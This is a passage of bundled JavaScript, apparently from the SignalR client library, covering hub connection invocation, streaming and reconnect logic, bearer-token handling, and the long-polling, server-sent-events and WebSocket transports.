this._reconnectDelayHandle = undefined; this._completeClose(); return Promise.resolve(); } this._cleanupTimeout(); this._cleanupPingTimer(); this._stopDuringStartError = error || new AbortError("The connection was stopped before the hub handshake could complete."); // HttpConnection.stop() should not complete until after either HttpConnection.start() fails // or the onclose callback is invoked. The onclose callback will transition the HubConnection // to the disconnected state if need be before HttpConnection.stop() completes. return this.connection.stop(error); } /** Invokes a streaming hub method on the server using the specified name and arguments. * * @typeparam T The type of the items returned by the server. * @param {string} methodName The name of the server method to invoke. * @param {any[]} args The arguments used to invoke the server method. * @returns {IStreamResult} An object that yields results from the server as they are received. */ stream(methodName, ...args) { const [streams, streamIds] = this._replaceStreamingParams(args); const invocationDescriptor = this._createStreamInvocation(methodName, args, streamIds); // eslint-disable-next-line prefer-const let promiseQueue; const subject = new Subject(); subject.cancelCallback = () => { const cancelInvocation = this._createCancelInvocation(invocationDescriptor.invocationId); delete this._callbacks[invocationDescriptor.invocationId]; return promiseQueue.then(() => { return this._sendWithProtocol(cancelInvocation); }); }; this._callbacks[invocationDescriptor.invocationId] = (invocationEvent, error) => { if (error) { subject.error(error); return; } else if (invocationEvent) { // invocationEvent will not be null when an error is not passed to the callback if (invocationEvent.type === MessageType.Completion) { if (invocationEvent.error) { subject.error(new Error(invocationEvent.error)); } else { subject.complete(); } } else { subject.next((invocationEvent.item)); } } }; promiseQueue = this._sendWithProtocol(invocationDescriptor) .catch((e) => { subject.error(e); delete this._callbacks[invocationDescriptor.invocationId]; }); this._launchStreams(streams, promiseQueue); return subject; } _sendMessage(message) { this._resetKeepAliveInterval(); return this.connection.send(message); } /** * Sends a js object to the server. * @param message The js object to serialize and send. */ _sendWithProtocol(message) { return this._sendMessage(this._protocol.writeMessage(message)); } /** Invokes a hub method on the server using the specified name and arguments. Does not wait for a response from the receiver. * * The Promise returned by this method resolves when the client has sent the invocation to the server. The server may still * be processing the invocation. * * @param {string} methodName The name of the server method to invoke. * @param {any[]} args The arguments used to invoke the server method. * @returns {Promise} A Promise that resolves when the invocation has been successfully sent, or rejects with an error. */ send(methodName, ...args) { const [streams, streamIds] = this._replaceStreamingParams(args); const sendPromise = this._sendWithProtocol(this._createInvocation(methodName, args, true, streamIds)); this._launchStreams(streams, sendPromise); return sendPromise; } /** Invokes a hub method on the server using the specified name and arguments. * * The Promise returned by this method resolves when the server indicates it has finished invoking the method. When the promise * resolves, the server has finished invoking the method. If the server method returns a result, it is produced as the result of * resolving the Promise. * * @typeparam T The expected return type. * @param {string} methodName The name of the server method to invoke. * @param {any[]} args The arguments used to invoke the server method. * @returns {Promise} A Promise that resolves with the result of the server method (if any), or rejects with an error. */ invoke(methodName, ...args) { const [streams, streamIds] = this._replaceStreamingParams(args); const invocationDescriptor = this._createInvocation(methodName, args, false, streamIds); const p = new Promise((resolve, reject) => { // invocationId will always have a value for a non-blocking invocation this._callbacks[invocationDescriptor.invocationId] = (invocationEvent, error) => { if (error) { reject(error); return; } else if (invocationEvent) { // invocationEvent will not be null when an error is not passed to the callback if (invocationEvent.type === MessageType.Completion) { if (invocationEvent.error) { reject(new Error(invocationEvent.error)); } else { resolve(invocationEvent.result); } } else { reject(new Error(`Unexpected message type: ${invocationEvent.type}`)); } } }; const promiseQueue = this._sendWithProtocol(invocationDescriptor) .catch((e) => { reject(e); // invocationId will always have a value for a non-blocking invocation delete this._callbacks[invocationDescriptor.invocationId]; }); this._launchStreams(streams, promiseQueue); }); return p; } on(methodName, newMethod) { if (!methodName || !newMethod) { return; } methodName = methodName.toLowerCase(); if (!this._methods[methodName]) { this._methods[methodName] = []; } // Preventing adding the same handler multiple times. if (this._methods[methodName].indexOf(newMethod) !== -1) { return; } this._methods[methodName].push(newMethod); } off(methodName, method) { if (!methodName) { return; } methodName = methodName.toLowerCase(); const handlers = this._methods[methodName]; if (!handlers) { return; } if (method) { const removeIdx = handlers.indexOf(method); if (removeIdx !== -1) { handlers.splice(removeIdx, 1); if (handlers.length === 0) { delete this._methods[methodName]; } } } else { delete this._methods[methodName]; } } /** Registers a handler that will be invoked when the connection is closed. * * @param {Function} callback The handler that will be invoked when the connection is closed. Optionally receives a single argument containing the error that caused the connection to close (if any). */ onclose(callback) { if (callback) { this._closedCallbacks.push(callback); } } /** Registers a handler that will be invoked when the connection starts reconnecting. * * @param {Function} callback The handler that will be invoked when the connection starts reconnecting. Optionally receives a single argument containing the error that caused the connection to start reconnecting (if any). */ onreconnecting(callback) { if (callback) { this._reconnectingCallbacks.push(callback); } } /** Registers a handler that will be invoked when the connection successfully reconnects. * * @param {Function} callback The handler that will be invoked when the connection successfully reconnects. */ onreconnected(callback) { if (callback) { this._reconnectedCallbacks.push(callback); } } _processIncomingData(data) { this._cleanupTimeout(); if (!this._receivedHandshakeResponse) { data = this._processHandshakeResponse(data); this._receivedHandshakeResponse = true; } // Data may have all been read when processing handshake response if (data) { // Parse the messages const messages = this._protocol.parseMessages(data, this._logger); for (const message of messages) { switch (message.type) { case MessageType.Invocation: // eslint-disable-next-line @typescript-eslint/no-floating-promises this._invokeClientMethod(message); break; case MessageType.StreamItem: case MessageType.Completion: { const callback = this._callbacks[message.invocationId]; if (callback) { if (message.type === MessageType.Completion) { delete this._callbacks[message.invocationId]; } try { callback(message); } catch (e) { this._logger.log(LogLevel.Error, `Stream callback threw error: ${getErrorString(e)}`); } } break; } case MessageType.Ping: // Don't care about pings break; case MessageType.Close: { this._logger.log(LogLevel.Information, "Close message received from server."); const error = message.error ? new Error("Server returned an error on close: " + message.error) : undefined; if (message.allowReconnect === true) { // It feels wrong not to await connection.stop() here, but processIncomingData is called as part of an onreceive callback which is not async, // this is already the behavior for serverTimeout(), and HttpConnection.Stop() should catch and log all possible exceptions. // eslint-disable-next-line @typescript-eslint/no-floating-promises this.connection.stop(error); } else { // We cannot await stopInternal() here, but subsequent calls to stop() will await this if stopInternal() is still ongoing. this._stopPromise = this._stopInternal(error); } break; } default: this._logger.log(LogLevel.Warning, `Invalid message type: ${message.type}.`); break; } } } this._resetTimeoutPeriod(); } _processHandshakeResponse(data) { let responseMessage; let remainingData; try { [remainingData, responseMessage] = this._handshakeProtocol.parseHandshakeResponse(data); } catch (e) { const message = "Error parsing handshake response: " + e; this._logger.log(LogLevel.Error, message); const error = new Error(message); this._handshakeRejecter(error); throw error; } if (responseMessage.error) { const message = "Server returned handshake error: " + responseMessage.error; this._logger.log(LogLevel.Error, message); const error = new Error(message); this._handshakeRejecter(error); throw error; } else { this._logger.log(LogLevel.Debug, "Server handshake complete."); } this._handshakeResolver(); return remainingData; } _resetKeepAliveInterval() { if (this.connection.features.inherentKeepAlive) { return; } // Set the time we want the next keep alive to be sent // Timer will be setup on next message receive this._nextKeepAlive = new Date().getTime() + this.keepAliveIntervalInMilliseconds; this._cleanupPingTimer(); } _resetTimeoutPeriod() { if (!this.connection.features || !this.connection.features.inherentKeepAlive) { // Set the timeout timer this._timeoutHandle = setTimeout(() => this.serverTimeout(), this.serverTimeoutInMilliseconds); // Set keepAlive timer if there isn't one if (this._pingServerHandle === undefined) { let nextPing = this._nextKeepAlive - new Date().getTime(); if (nextPing < 0) { nextPing = 0; } // The timer needs to be set from a networking callback to avoid Chrome timer throttling from causing timers to run once a minute this._pingServerHandle = setTimeout(async () => { if (this._connectionState === HubConnectionState.Connected) { try { await this._sendMessage(this._cachedPingMessage); } catch { // We don't care about the error. It should be seen elsewhere in the client. // The connection is probably in a bad or closed state now, cleanup the timer so it stops triggering this._cleanupPingTimer(); } } }, nextPing); } } } // eslint-disable-next-line @typescript-eslint/naming-convention serverTimeout() { // The server hasn't talked to us in a while. It doesn't like us anymore ... :( // Terminate the connection, but we don't need to wait on the promise. This could trigger reconnecting. // eslint-disable-next-line @typescript-eslint/no-floating-promises this.connection.stop(new Error("Server timeout elapsed without receiving a message from the server.")); } async _invokeClientMethod(invocationMessage) { const methodName = invocationMessage.target.toLowerCase(); const methods = this._methods[methodName]; if (!methods) { this._logger.log(LogLevel.Warning, `No client method with the name '${methodName}' found.`); // No handlers provided by client but the server is expecting a response still, so we send an error if (invocationMessage.invocationId) { this._logger.log(LogLevel.Warning, `No result given for '${methodName}' method and invocation ID '${invocationMessage.invocationId}'.`); await this._sendWithProtocol(this._createCompletionMessage(invocationMessage.invocationId, "Client didn't provide a result.", null)); } return; } // Avoid issues with handlers removing themselves thus modifying the list while iterating through it const methodsCopy = methods.slice(); // Server expects a response const expectsResponse = invocationMessage.invocationId ? true : false; // We preserve the last result or exception but still call all handlers let res; let exception; let completionMessage; for (const m of methodsCopy) { try { const prevRes = res; res = await m.apply(this, invocationMessage.arguments); if (expectsResponse && res && prevRes) { this._logger.log(LogLevel.Error, `Multiple results provided for '${methodName}'. Sending error to server.`); completionMessage = this._createCompletionMessage(invocationMessage.invocationId, `Client provided multiple results.`, null); } // Ignore exception if we got a result after, the exception will be logged exception = undefined; } catch (e) { exception = e; this._logger.log(LogLevel.Error, `A callback for the method '${methodName}' threw error '${e}'.`); } } if (completionMessage) { await this._sendWithProtocol(completionMessage); } else if (expectsResponse) { // If there is an exception that means either no result was given or a handler after a result threw if (exception) { completionMessage = this._createCompletionMessage(invocationMessage.invocationId, `${exception}`, null); } else if (res !== undefined) { completionMessage = this._createCompletionMessage(invocationMessage.invocationId, null, res); } else { this._logger.log(LogLevel.Warning, `No result given for '${methodName}' method and invocation ID '${invocationMessage.invocationId}'.`); // Client didn't provide a result or throw from a handler, server expects a response so we send an error completionMessage = this._createCompletionMessage(invocationMessage.invocationId, "Client didn't provide a result.", null); } await this._sendWithProtocol(completionMessage); } else { if (res) { this._logger.log(LogLevel.Error, `Result given for '${methodName}' method but server is not expecting a result.`); } } } _connectionClosed(error) { this._logger.log(LogLevel.Debug, `HubConnection.connectionClosed(${error}) called while in state ${this._connectionState}.`); // Triggering this.handshakeRejecter is insufficient because it could already be resolved without the continuation having run yet. this._stopDuringStartError = this._stopDuringStartError || error || new AbortError("The underlying connection was closed before the hub handshake could complete."); // If the handshake is in progress, start will be waiting for the handshake promise, so we complete it. // If it has already completed, this should just noop. if (this._handshakeResolver) { this._handshakeResolver(); } this._cancelCallbacksWithError(error || new Error("Invocation canceled due to the underlying connection being closed.")); this._cleanupTimeout(); this._cleanupPingTimer(); if (this._connectionState === HubConnectionState.Disconnecting) { this._completeClose(error); } else if (this._connectionState === HubConnectionState.Connected && this._reconnectPolicy) { // eslint-disable-next-line @typescript-eslint/no-floating-promises this._reconnect(error); } else if (this._connectionState === HubConnectionState.Connected) { this._completeClose(error); } // If none of the above if conditions were true were called the HubConnection must be in either: // 1. The Connecting state in which case the handshakeResolver will complete it and stopDuringStartError will fail it. // 2. The Reconnecting state in which case the handshakeResolver will complete it and stopDuringStartError will fail the current reconnect attempt // and potentially continue the reconnect() loop. // 3. The Disconnected state in which case we're already done. } _completeClose(error) { if (this._connectionStarted) { this._connectionState = HubConnectionState.Disconnected; this._connectionStarted = false; if (Platform.isBrowser) { window.document.removeEventListener("freeze", this._freezeEventListener); } try { this._closedCallbacks.forEach((c) => c.apply(this, [error])); } catch (e) { this._logger.log(LogLevel.Error, `An onclose callback called with error '${error}' threw error '${e}'.`); } } } async _reconnect(error) { const reconnectStartTime = Date.now(); let previousReconnectAttempts = 0; let retryError = error !== undefined ? error : new Error("Attempting to reconnect due to a unknown error."); let nextRetryDelay = this._getNextRetryDelay(previousReconnectAttempts++, 0, retryError); if (nextRetryDelay === null) { this._logger.log(LogLevel.Debug, "Connection not reconnecting because the IRetryPolicy returned null on the first reconnect attempt."); this._completeClose(error); return; } this._connectionState = HubConnectionState.Reconnecting; if (error) { this._logger.log(LogLevel.Information, `Connection reconnecting because of error '${error}'.`); } else { this._logger.log(LogLevel.Information, "Connection reconnecting."); } if (this._reconnectingCallbacks.length !== 0) { try { this._reconnectingCallbacks.forEach((c) => c.apply(this, [error])); } catch (e) { this._logger.log(LogLevel.Error, `An onreconnecting callback called with error '${error}' threw error '${e}'.`); } // Exit early if an onreconnecting callback called connection.stop(). if (this._connectionState !== HubConnectionState.Reconnecting) { this._logger.log(LogLevel.Debug, "Connection left the reconnecting state in onreconnecting callback. Done reconnecting."); return; } } while (nextRetryDelay !== null) { this._logger.log(LogLevel.Information, `Reconnect attempt number ${previousReconnectAttempts} will start in ${nextRetryDelay} ms.`); await new Promise((resolve) => { this._reconnectDelayHandle = setTimeout(resolve, nextRetryDelay); }); this._reconnectDelayHandle = undefined; if (this._connectionState !== HubConnectionState.Reconnecting) { this._logger.log(LogLevel.Debug, "Connection left the reconnecting state during reconnect delay. Done reconnecting."); return; } try { await this._startInternal(); this._connectionState = HubConnectionState.Connected; this._logger.log(LogLevel.Information, "HubConnection reconnected successfully."); if (this._reconnectedCallbacks.length !== 0) { try { this._reconnectedCallbacks.forEach((c) => c.apply(this, [this.connection.connectionId])); } catch (e) { this._logger.log(LogLevel.Error, `An onreconnected callback called with connectionId '${this.connection.connectionId}; threw error '${e}'.`); } } return; } catch (e) { this._logger.log(LogLevel.Information, `Reconnect attempt failed because of error '${e}'.`); if (this._connectionState !== HubConnectionState.Reconnecting) { this._logger.log(LogLevel.Debug, `Connection moved to the '${this._connectionState}' from the reconnecting state during reconnect attempt. Done reconnecting.`); // The TypeScript compiler thinks that connectionState must be Connected here. The TypeScript compiler is wrong. if (this._connectionState === HubConnectionState.Disconnecting) { this._completeClose(); } return; } retryError = e instanceof Error ? e : new Error(e.toString()); nextRetryDelay = this._getNextRetryDelay(previousReconnectAttempts++, Date.now() - reconnectStartTime, retryError); } } this._logger.log(LogLevel.Information, `Reconnect retries have been exhausted after ${Date.now() - reconnectStartTime} ms and ${previousReconnectAttempts} failed attempts. Connection disconnecting.`); this._completeClose(); } _getNextRetryDelay(previousRetryCount, elapsedMilliseconds, retryReason) { try { return this._reconnectPolicy.nextRetryDelayInMilliseconds({ elapsedMilliseconds, previousRetryCount, retryReason, }); } catch (e) { this._logger.log(LogLevel.Error, `IRetryPolicy.nextRetryDelayInMilliseconds(${previousRetryCount}, ${elapsedMilliseconds}) threw error '${e}'.`); return null; } } _cancelCallbacksWithError(error) { const callbacks = this._callbacks; this._callbacks = {}; Object.keys(callbacks) .forEach((key) => { const callback = callbacks[key]; try { callback(null, error); } catch (e) { this._logger.log(LogLevel.Error, `Stream 'error' callback called with '${error}' threw error: ${getErrorString(e)}`); } }); } _cleanupPingTimer() { if (this._pingServerHandle) { clearTimeout(this._pingServerHandle); this._pingServerHandle = undefined; } } _cleanupTimeout() { if (this._timeoutHandle) { clearTimeout(this._timeoutHandle); } } _createInvocation(methodName, args, nonblocking, streamIds) { if (nonblocking) { if (streamIds.length !== 0) { return { arguments: args, streamIds, target: methodName, type: MessageType.Invocation, }; } else { return { arguments: args, target: methodName, type: MessageType.Invocation, }; } } else { const invocationId = this._invocationId; this._invocationId++; if (streamIds.length !== 0) { return { arguments: args, invocationId: invocationId.toString(), streamIds, target: methodName, type: MessageType.Invocation, }; } else { return { arguments: args, invocationId: invocationId.toString(), target: methodName, type: MessageType.Invocation, }; } } } _launchStreams(streams, promiseQueue) { if (streams.length === 0) { return; } // Synchronize stream data so they arrive in-order on the server if (!promiseQueue) { promiseQueue = Promise.resolve(); } // We want to iterate over the keys, since the keys are the stream ids // eslint-disable-next-line guard-for-in for (const streamId in streams) { streams[streamId].subscribe({ complete: () => { promiseQueue = promiseQueue.then(() => this._sendWithProtocol(this._createCompletionMessage(streamId))); }, error: (err) => { let message; if (err instanceof Error) { message = err.message; } else if (err && err.toString) { message = err.toString(); } else { message = "Unknown error"; } promiseQueue = promiseQueue.then(() => this._sendWithProtocol(this._createCompletionMessage(streamId, message))); }, next: (item) => { promiseQueue = promiseQueue.then(() => this._sendWithProtocol(this._createStreamItemMessage(streamId, item))); }, }); } } _replaceStreamingParams(args) { const streams = []; const streamIds = []; for (let i = 0; i < args.length; i++) { const argument = args[i]; if (this._isObservable(argument)) { const streamId = this._invocationId; this._invocationId++; // Store the stream for later use streams[streamId] = argument; streamIds.push(streamId.toString()); // remove stream from args args.splice(i, 1); } } return [streams, streamIds]; } _isObservable(arg) { // This allows other stream implementations to just work (like rxjs) return arg && arg.subscribe && typeof arg.subscribe === "function"; } _createStreamInvocation(methodName, args, streamIds) { const invocationId = this._invocationId; this._invocationId++; if (streamIds.length !== 0) { return { arguments: args, invocationId: invocationId.toString(), streamIds, target: methodName, type: MessageType.StreamInvocation, }; } else { return { arguments: args, invocationId: invocationId.toString(), target: methodName, type: MessageType.StreamInvocation, }; } } _createCancelInvocation(id) { return { invocationId: id, type: MessageType.CancelInvocation, }; } _createStreamItemMessage(id, item) { return { invocationId: id, item, type: MessageType.StreamItem, }; } _createCompletionMessage(id, error, result) { if (error) { return { error, invocationId: id, type: MessageType.Completion, }; } return { invocationId: id, result, type: MessageType.Completion, }; } } ;// CONCATENATED MODULE: ./src/DefaultReconnectPolicy.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // 0, 2, 10, 30 second delays before reconnect attempts. const DEFAULT_RETRY_DELAYS_IN_MILLISECONDS = [0, 2000, 10000, 30000, null]; /** @private */ class DefaultReconnectPolicy { constructor(retryDelays) { this._retryDelays = retryDelays !== undefined ? [...retryDelays, null] : DEFAULT_RETRY_DELAYS_IN_MILLISECONDS; } nextRetryDelayInMilliseconds(retryContext) { return this._retryDelays[retryContext.previousRetryCount]; } } ;// CONCATENATED MODULE: ./src/HeaderNames.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. class HeaderNames { } HeaderNames.Authorization = "Authorization"; HeaderNames.Cookie = "Cookie"; ;// CONCATENATED MODULE: ./src/AccessTokenHttpClient.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. /** @private */ class AccessTokenHttpClient extends HttpClient { constructor(innerClient, accessTokenFactory) { super(); this._innerClient = innerClient; this._accessTokenFactory = accessTokenFactory; } async send(request) { let allowRetry = true; if (this._accessTokenFactory && (!this._accessToken || (request.url && request.url.indexOf("/negotiate?") > 0))) { // don't retry if the request is a negotiate or if we just got a potentially new token from the access token factory allowRetry = false; this._accessToken = await this._accessTokenFactory(); } this._setAuthorizationHeader(request); const response = await this._innerClient.send(request); if (allowRetry && response.statusCode === 401 && this._accessTokenFactory) { this._accessToken = await this._accessTokenFactory(); this._setAuthorizationHeader(request); return await this._innerClient.send(request); } return response; } _setAuthorizationHeader(request) { if (!request.headers) { request.headers = {}; } if (this._accessToken) { request.headers[HeaderNames.Authorization] = `Bearer ${this._accessToken}`; } // don't remove the header if there isn't an access token factory, the user manually added the header in this case else if (this._accessTokenFactory) { if (request.headers[HeaderNames.Authorization]) { delete request.headers[HeaderNames.Authorization]; } } } getCookieString(url) { return this._innerClient.getCookieString(url); } } ;// CONCATENATED MODULE: ./src/ITransport.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // This will be treated as a bit flag in the future, so we keep it using power-of-two values. /** Specifies a specific HTTP transport type. */ var HttpTransportType; (function (HttpTransportType) { /** Specifies no transport preference. */ HttpTransportType[HttpTransportType["None"] = 0] = "None"; /** Specifies the WebSockets transport. */ HttpTransportType[HttpTransportType["WebSockets"] = 1] = "WebSockets"; /** Specifies the Server-Sent Events transport. */ HttpTransportType[HttpTransportType["ServerSentEvents"] = 2] = "ServerSentEvents"; /** Specifies the Long Polling transport. */ HttpTransportType[HttpTransportType["LongPolling"] = 4] = "LongPolling"; })(HttpTransportType || (HttpTransportType = {})); /** Specifies the transfer format for a connection. */ var TransferFormat; (function (TransferFormat) { /** Specifies that only text data will be transmitted over the connection. */ TransferFormat[TransferFormat["Text"] = 1] = "Text"; /** Specifies that binary data will be transmitted over the connection. */ TransferFormat[TransferFormat["Binary"] = 2] = "Binary"; })(TransferFormat || (TransferFormat = {})); ;// CONCATENATED MODULE: ./src/AbortController.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // Rough polyfill of https://developer.mozilla.org/en-US/docs/Web/API/AbortController // We don't actually ever use the API being polyfilled, we always use the polyfill because // it's a very new API right now. // Not exported from index. /** @private */ class AbortController_AbortController { constructor() { this._isAborted = false; this.onabort = null; } abort() { if (!this._isAborted) { this._isAborted = true; if (this.onabort) { this.onabort(); } } } get signal() { return this; } get aborted() { return this._isAborted; } } ;// CONCATENATED MODULE: ./src/LongPollingTransport.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // Not exported from 'index', this type is internal. /** @private */ class LongPollingTransport { constructor(httpClient, logger, options) { this._httpClient = httpClient; this._logger = logger; this._pollAbort = new AbortController_AbortController(); this._options = options; this._running = false; this.onreceive = null; this.onclose = null; } // This is an internal type, not exported from 'index' so this is really just internal. get pollAborted() { return this._pollAbort.aborted; } async connect(url, transferFormat) { Arg.isRequired(url, "url"); Arg.isRequired(transferFormat, "transferFormat"); Arg.isIn(transferFormat, TransferFormat, "transferFormat"); this._url = url; this._logger.log(LogLevel.Trace, "(LongPolling transport) Connecting."); // Allow binary format on Node and Browsers that support binary content (indicated by the presence of responseType property) if (transferFormat === TransferFormat.Binary && (typeof XMLHttpRequest !== "undefined" && typeof new XMLHttpRequest().responseType !== "string")) { throw new Error("Binary protocols over XmlHttpRequest not implementing advanced features are not supported."); } const [name, value] = getUserAgentHeader(); const headers = { [name]: value, ...this._options.headers }; const pollOptions = { abortSignal: this._pollAbort.signal, headers, timeout: 100000, withCredentials: this._options.withCredentials, }; if (transferFormat === TransferFormat.Binary) { pollOptions.responseType = "arraybuffer"; } // Make initial long polling request // Server uses first long polling request to finish initializing connection and it returns without data const pollUrl = `${url}&_=${Date.now()}`; this._logger.log(LogLevel.Trace, `(LongPolling transport) polling: ${pollUrl}.`); const response = await this._httpClient.get(pollUrl, pollOptions); if (response.statusCode !== 200) { this._logger.log(LogLevel.Error, `(LongPolling transport) Unexpected response code: ${response.statusCode}.`); // Mark running as false so that the poll immediately ends and runs the close logic this._closeError = new HttpError(response.statusText || "", response.statusCode); this._running = false; } else { this._running = true; } this._receiving = this._poll(this._url, pollOptions); } async _poll(url, pollOptions) { try { while (this._running) { try { const pollUrl = `${url}&_=${Date.now()}`; this._logger.log(LogLevel.Trace, `(LongPolling transport) polling: ${pollUrl}.`); const response = await this._httpClient.get(pollUrl, pollOptions); if (response.statusCode === 204) { this._logger.log(LogLevel.Information, "(LongPolling transport) Poll terminated by server."); this._running = false; } else if (response.statusCode !== 200) { this._logger.log(LogLevel.Error, `(LongPolling transport) Unexpected response code: ${response.statusCode}.`); // Unexpected status code this._closeError = new HttpError(response.statusText || "", response.statusCode); this._running = false; } else { // Process the response if (response.content) { this._logger.log(LogLevel.Trace, `(LongPolling transport) data received. ${getDataDetail(response.content, this._options.logMessageContent)}.`); if (this.onreceive) { this.onreceive(response.content); } } else { // This is another way timeout manifest. this._logger.log(LogLevel.Trace, "(LongPolling transport) Poll timed out, reissuing."); } } } catch (e) { if (!this._running) { // Log but disregard errors that occur after stopping this._logger.log(LogLevel.Trace, `(LongPolling transport) Poll errored after shutdown: ${e.message}`); } else { if (e instanceof TimeoutError) { // Ignore timeouts and reissue the poll. this._logger.log(LogLevel.Trace, "(LongPolling transport) Poll timed out, reissuing."); } else { // Close the connection with the error as the result. this._closeError = e; this._running = false; } } } } } finally { this._logger.log(LogLevel.Trace, "(LongPolling transport) Polling complete."); // We will reach here with pollAborted==false when the server returned a response causing the transport to stop. // If pollAborted==true then client initiated the stop and the stop method will raise the close event after DELETE is sent. if (!this.pollAborted) { this._raiseOnClose(); } } } async send(data) { if (!this._running) { return Promise.reject(new Error("Cannot send until the transport is connected")); } return sendMessage(this._logger, "LongPolling", this._httpClient, this._url, data, this._options); } async stop() { this._logger.log(LogLevel.Trace, "(LongPolling transport) Stopping polling."); // Tell receiving loop to stop, abort any current request, and then wait for it to finish this._running = false; this._pollAbort.abort(); try { await this._receiving; // Send DELETE to clean up long polling on the server this._logger.log(LogLevel.Trace, `(LongPolling transport) sending DELETE request to ${this._url}.`); const headers = {}; const [name, value] = getUserAgentHeader(); headers[name] = value; const deleteOptions = { headers: { ...headers, ...this._options.headers }, timeout: this._options.timeout, withCredentials: this._options.withCredentials, }; await this._httpClient.delete(this._url, deleteOptions); this._logger.log(LogLevel.Trace, "(LongPolling transport) DELETE request sent."); } finally { this._logger.log(LogLevel.Trace, "(LongPolling transport) Stop finished."); // Raise close event here instead of in polling // It needs to happen after the DELETE request is sent this._raiseOnClose(); } } _raiseOnClose() { if (this.onclose) { let logMessage = "(LongPolling transport) Firing onclose event."; if (this._closeError) { logMessage += " Error: " + this._closeError; } this._logger.log(LogLevel.Trace, logMessage); this.onclose(this._closeError); } } } ;// CONCATENATED MODULE: ./src/ServerSentEventsTransport.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. /** @private */ class ServerSentEventsTransport { constructor(httpClient, accessToken, logger, options) { this._httpClient = httpClient; this._accessToken = accessToken; this._logger = logger; this._options = options; this.onreceive = null; this.onclose = null; } async connect(url, transferFormat) { Arg.isRequired(url, "url"); Arg.isRequired(transferFormat, "transferFormat"); Arg.isIn(transferFormat, TransferFormat, "transferFormat"); this._logger.log(LogLevel.Trace, "(SSE transport) Connecting."); // set url before accessTokenFactory because this._url is only for send and we set the auth header instead of the query string for send this._url = url; if (this._accessToken) { url += (url.indexOf("?") < 0 ? "?" : "&") + `access_token=${encodeURIComponent(this._accessToken)}`; } return new Promise((resolve, reject) => { let opened = false; if (transferFormat !== TransferFormat.Text) { reject(new Error("The Server-Sent Events transport only supports the 'Text' transfer format")); return; } let eventSource; if (Platform.isBrowser || Platform.isWebWorker) { eventSource = new this._options.EventSource(url, { withCredentials: this._options.withCredentials }); } else { // Non-browser passes cookies via the dictionary const cookies = this._httpClient.getCookieString(url); const headers = {}; headers.Cookie = cookies; const [name, value] = getUserAgentHeader(); headers[name] = value; eventSource = new this._options.EventSource(url, { withCredentials: this._options.withCredentials, headers: { ...headers, ...this._options.headers } }); } try { eventSource.onmessage = (e) => { if (this.onreceive) { try { this._logger.log(LogLevel.Trace, `(SSE transport) data received. ${getDataDetail(e.data, this._options.logMessageContent)}.`); this.onreceive(e.data); } catch (error) { this._close(error); return; } } }; // @ts-ignore: not using event on purpose eventSource.onerror = (e) => { // EventSource doesn't give any useful information about server side closes. if (opened) { this._close(); } else { reject(new Error("EventSource failed to connect. The connection could not be found on the server," + " either the connection ID is not present on the server, or a proxy is refusing/buffering the connection." + " If you have multiple servers check that sticky sessions are enabled.")); } }; eventSource.onopen = () => { this._logger.log(LogLevel.Information, `SSE connected to ${this._url}`); this._eventSource = eventSource; opened = true; resolve(); }; } catch (e) { reject(e); return; } }); } async send(data) { if (!this._eventSource) { return Promise.reject(new Error("Cannot send until the transport is connected")); } return sendMessage(this._logger, "SSE", this._httpClient, this._url, data, this._options); } stop() { this._close(); return Promise.resolve(); } _close(e) { if (this._eventSource) { this._eventSource.close(); this._eventSource = undefined; if (this.onclose) { this.onclose(e); } } } } ;// CONCATENATED MODULE: ./src/WebSocketTransport.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. /** @private */ class WebSocketTransport { constructor(httpClient, accessTokenFactory, logger, logMessageContent, webSocketConstructor, headers) { this._logger = logger; this._accessTokenFactory = accessTokenFactory; this._logMessageContent = logMessageContent; this._webSocketConstructor = webSocketConstructor; this._httpClient = httpClient; this.onreceive = null; this.onclose = null; this._headers = headers; } async connect(url, transferFormat) { Arg.isRequired(url, "url"); Arg.isRequired(transferFormat, "transferFormat"); Arg.isIn(transferFormat, TransferFormat, "transferFormat"); this._logger.log(LogLevel.Trace, "(WebSockets transport) Connecting."); let token; if (this._accessTokenFactory) { token = await this._accessTokenFactory(); } return new Promise((resolve, reject) => { url = url.replace(/^http/, "ws"); let webSocket; const cookies = this._httpClient.getCookieString(url); let opened = false; if (Platform.isNode || Platform.isReactNative) { const headers = {}; const [name, value] = getUserAgentHeader(); headers[name] = value; if (token) { headers[HeaderNames.Authorization] = `Bearer ${token}`; } if (cookies) { headers[HeaderNames.Cookie] = cookies; } // Only pass headers when in non-browser environments webSocket = new this._webSocketConstructor(url, undefined, { headers: { ...headers, ...this._headers }, }); } else { if (token) { url += (url.indexOf("?") < 0 ? "?" : "&") + `access_token=${encodeURIComponent(token)}`; } } if (!webSocket) { // Chrome is not happy with passing 'undefined' as protocol webSocket = new this._webSocketConstructor(url); } if (transferFormat === TransferFormat.Binary) { webSocket.binaryType = "arraybuffer"; } webSocket.onopen = (_event) => { this._logger.log(LogLevel.Information, `WebSocket connected to ${url}.`); this._webSocket = webSocket; opened = true; resolve(); }; webSocket.onerror = (event) => { let error = null; // ErrorEvent is a browser only type we need to check if the type exists before using it if (typeof ErrorEvent !== "undefined" && event instanceof ErrorEvent) { error = event.error; } else { error = "There was an error with the transport"; } this._logger.log(LogLevel.Information, `(WebSockets transport) ${error}.`); }; webSocket.onmessage = (message) => { this._logger.log(LogLevel.Trace, `(WebSockets transport) data received. ${getDataDetail(message.data, this._logMessageContent)}.`); if (this.onreceive) { try { this.onreceive(message.data); } catch (error) { this._close(error); return; } } }; webSocket.onclose = (event) => { // Don't call close handler if connection was never established // We'll reject the connect call instead if (opened) { this._close(event); } else { let error = null; // ErrorEvent is a browser only type we need to check if the type exists before using it if (typeof ErrorEvent !== "undefined" && event instanceof ErrorEvent) { error = event.error; } else { error = "WebSocket failed to connect. The connection could not be found on the server," + " either the endpoint may not be a SignalR endpoint," + " the connection ID is not present on the server, or there is a proxy blocking WebSockets." + " If you have multiple servers check that sticky sessions are enabled."; } reject(new Error(error)); } }; }); } send(data) { if (this._webSocket && 